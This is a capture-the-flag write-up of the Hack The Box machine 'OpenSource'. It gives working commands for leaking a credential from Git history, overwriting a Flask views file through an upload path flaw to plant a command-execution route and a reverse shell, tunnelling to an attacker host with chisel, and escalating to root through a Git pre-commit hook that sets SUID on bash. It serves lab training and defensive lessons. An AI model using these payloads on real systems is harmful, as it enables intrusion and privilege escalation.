root@kali:~$ cat hackthebox/machines/opensource.md
Hack The Box — OpenSource
OpenSource combines a leaked Git credential, a Flask upload path flaw, an internal Gitea pivot, and a writable Git hook executed by a root cron job.

- Platform
- Hack The Box
- Type
- machine
- Difficulty
- Easy
- Operating system
- Linux
- Solved
- 1 Dec 2026
- Published
- 1 December 2026
This write-up documents an authorized Hack The Box lab. Hack The Box lists OpenSource as a retired Easy Linux machine. Flag values, session-specific IP addresses, the SSH private key, and personal secrets are omitted. The lab credential below is included because it is required to reproduce the attack path.
Executive summary
The web application offers its own source archive, including a Git repository. An old commit exposes a dev01 credential. Reviewing the deployed Flask code reveals that a crafted upload filename becomes an absolute path, allowing the attacker to replace views.py and add a command-execution route. A reverse shell lands inside a Docker container. From there, a reverse tunnel exposes an internal Gitea instance, where the leaked credential grants access to a backup of dev01’s SSH key. On the host, a root cron job commits changes in a repository writable by dev01. An executable pre-commit hook runs as root during the next commit and grants a root shell.
Target information
| Item | Value |
|---|---|
| Target | OpenSource |
| Platform | Hack The Box |
| Difficulty | Easy |
| Operating system | Linux |
| Publication policy | Retired |
| Solved | 1 December 2026 |
| Main weaknesses | Git history credential leak, arbitrary file write, internal service exposure, root cron trusting a user-writable Git repository |
Start your own HTB instance and connect Kali to the HTB VPN. Addresses change between sessions. In the first Kali terminal, set:
TARGET_IP='<YOUR_HTB_TARGET_IP>'
LHOST=$(ip -4 -o addr show tun0 | awk '{print $4}' | cut -d/ -f1)
printf 'Target: %s\nKali VPN IP: %s\n' "$TARGET_IP" "$LHOST"
Enumeration
Scan all TCP ports and run Nmap’s default scripts and version detection:
nmap -sCV -p- "$TARGET_IP"
The lab instance exposed SSH on 22 and a Werkzeug HTTP service on 80. Port 3000 appeared filtered from Kali:
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
80/tcp open http Werkzeug 2.1.2 (Python 3.10.3)
3000/tcp filtered ppp
Findings
The page advertises an upcloud file upload and a source download. Fetch the archive and inspect the repository that it contains:
mkdir -p opensource && cd opensource
curl -sS "http://$TARGET_IP/download" -o source.zip
unzip source.zip -d source
cd source
git branch -a
git switch dev
git log --all -p -- app/.vscode/settings.json
The dev branch matches the live site’s routes, including /download and /upcloud. A historical VS Code settings file contains a proxy URL with the lab credential dev01:Soulless_Developer#2022. The later deletion of that file did not remove it from Git history. SSH password authentication is unavailable, so keep the credential for another service.
Review app/app/utils.py, app/app/views.py, and config/supervisord.conf:
sed -n '1,160p' app/app/utils.py
sed -n '1,220p' app/app/views.py
cat config/supervisord.conf
The upload route reads the multipart field named file, sanitizes its filename, then builds a destination with os.path.join(os.getcwd(), "public", "uploads", file_name). The sanitizer recursively strips ../, but it does not reject absolute paths. On Linux, an absolute final component makes os.path.join discard the earlier components. The supervisor configuration shows that the application runs from /app/run.py, so its views file is /app/app/views.py. The dev configuration also enables Flask debug mode, causing the app to reload when its source changes.
You can confirm the related arbitrary-read behavior without changing a file:
curl --path-as-is "http://$TARGET_IP/uploads/..//etc/passwd" | head
The sanitizer removes ../ from ..//etc/passwd, leaving /etc/passwd. The leading slash then overrides the upload directory in os.path.join.
Initial access
Replace the Flask views file
Work from the source directory on the dev branch. The existing imports already provide os, request, and app; append two routes to a local copy of app/app/views.py:
cat >> app/app/views.py <<'PY'
@app.route('/cmd')
def command():
return os.popen(request.args.get('c', 'id')).read()
@app.route('/rev')
def reverse():
import socket
import subprocess
s = socket.socket()
s.connect((request.args['ip'], int(request.args['port'])))
for fd in (0, 1, 2):
os.dup2(s.fileno(), fd)
subprocess.call(['/bin/sh', '-i'])
return ''
PY
curl -F 'file=@app/app/views.py;filename=..//app/app/views.py' \
"http://$TARGET_IP/upcloud"
curl "http://$TARGET_IP/cmd?c=id"
The uploaded filename ..//app/app/views.py becomes /app/app/views.py after sanitization. The id response should identify root, inside the container. This does not yet grant root on the host.
Obtain a container shell
Listen on Kali in a second terminal:
nc -lvnp 4444
From the first Kali terminal, where TARGET_IP and LHOST are set:
curl "http://$TARGET_IP/rev?ip=$LHOST&port=4444"
The request remains open while the reverse shell is active. In the new container shell, inspect the default gateway and probe the service that Nmap could not reach directly:
id
ip route
wget -qO- http://172.17.0.1:3000/ | head
The gateway is 172.17.0.1; its port 3000 serves Gitea. The externally filtered port is reachable from the Docker network.
Tunnel to Gitea
Build a static Linux AMD64 chisel binary on Kali. A dynamically linked binary may exist on disk but fail with /bin/sh: ./chisel: not found in the Alpine container because its expected loader is absent. The upstream build configuration uses CGO_ENABLED=0 for this target.
# Kali, from a working directory outside the extracted source tree
git clone https://github.com/jpillora/chisel.git chisel-src
cd chisel-src
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o ../chisel-static .
cd ..
file chisel-static # should report "statically linked"
python3 -m http.server 8000
In the container shell, replace the placeholder with your own Kali tun0 address and fetch the binary:
ATTACKER_IP='<YOUR_TUN0_IP>'
cd /tmp
wget "http://$ATTACKER_IP:8000/chisel-static" -O chisel-static
chmod +x chisel-static
After the download finishes, stop the temporary Python server on Kali with Ctrl+C and start the chisel server there:
./chisel-static server --reverse -p 1234
Then start the client from the container shell:
/tmp/chisel-static client "$ATTACKER_IP:1234" R:3000:172.17.0.1:3000
Keep both processes running. Open http://127.0.0.1:3000 in Kali’s browser. The reverse mapping makes the internal Gitea service available on Kali’s local port 3000.
Recover the SSH key and reach the host
Sign in to Gitea as dev01 with Soulless_Developer#2022. Open the private dev01/home-backup repository, browse to .ssh/id_rsa, and save the complete private key locally as dev01_id_rsa. Preserve its BEGIN/END lines and line breaks. Do not publish the key.
In the Kali terminal where TARGET_IP is set:
chmod 600 dev01_id_rsa
ssh -i dev01_id_rsa "dev01@$TARGET_IP"
The prompt should now be dev01@opensource on Ubuntu, rather than /app # inside Alpine. Verify your user and the user flag’s location without copying the flag into public notes:
id
ls -l ~/user.txt
Privilege escalation
The user home directory is itself a Git repository. A root cron job runs /usr/local/bin/git-sync about once per minute. To observe scheduled processes, download pspy on Kali, serve it in a separate terminal, and run it as dev01:
# Kali
curl -L https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64 -o pspy64
python3 -m http.server 8000
# OpenSource host, as dev01; replace the placeholder with your Kali tun0 IP
ATTACKER_IP='<YOUR_TUN0_IP>'
wget "http://$ATTACKER_IP:8000/pspy64" -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64
Look for UID=0 processes running /usr/local/bin/git-sync, git commit, and git push. The script is readable and runs git status, git add ., git commit, and git push from /home/dev01:
cat /usr/local/bin/git-sync
ls -ld ~/.git ~/.git/hooks
ls -l ~/.git/config
The trust boundary is the writable .git directory: dev01 can create a hook in the repository, and the root-owned cron process later executes Git commands there. Git runs an executable pre-commit hook before a commit. Add a hook that sets the SUID bit on the root-owned Bash binary, then create a change for the cron job to commit:
printf '#!/bin/sh\nchmod u+s /bin/bash\n' > ~/.git/hooks/pre-commit
chmod +x ~/.git/hooks/pre-commit
date > ~/cron-trigger.txt
After the next cron cycle, check the Bash mode. Do not assume privilege escalation succeeded until the s appears in the owner’s execute position:
ls -l /bin/bash
# expected: -rwsr-xr-x ... root root ... /bin/bash
bash -p
id
# expected: uid=1000(dev01) ... euid=0(root)
cat /root/root.txt
The -p flag tells Bash to preserve its effective UID. The root flag value is intentionally omitted.
What did not work
- The first
chiselbinary was present and executable, but the Alpine container reportednot foundon execution. Rebuilding it as a static Linux AMD64 binary resolved that loader mismatch. - Setting
core.fsmonitortochmod u+s /bin/bashin~/.git/configdid not produce an observed SUID Bash during the initial checks. The SUID bit appeared after the executablepre-commithook was added and the cron job ran again. Because thefsmonitorsetting had not been removed, this session does not isolate which Git trigger set the bit. Thepre-commitpath above is independently reproducible from the rootgit commitand the writable hook directory. - Running
bash -pbefore/bin/bashdisplayed the SUID bit retaineddev01privileges. Checking the file mode and effective UID prevented a false root claim.
Attack path
- Enumerate SSH and the Flask upload service; download its source archive.
- Read the
devbranch history to recover thedev01lab credential. - Exploit the upload filename handling to overwrite
views.pyand obtain a container shell. - Reverse-tunnel the Docker host’s Gitea service and recover
dev01’s backed-up SSH key. - SSH to the host and use the user-writable Git hook executed by the root cron job to obtain effective UID 0.
Lessons learned
- Removing a credential from a later Git commit does not remove it from the repository’s history. Rotate leaked credentials and remove sensitive history before distributing source archives.
- Validate upload destinations after path resolution. Reject absolute paths and ensure the final canonical path stays under the intended upload directory.
- A container shell and a host shell are different security boundaries. Internal services reachable only from the container can still provide a route onto the host.
- Root automation must not execute Git hooks or repository configuration from a directory writable by a lower-privileged user. Use a root-owned checkout or disable hooks for trusted automation.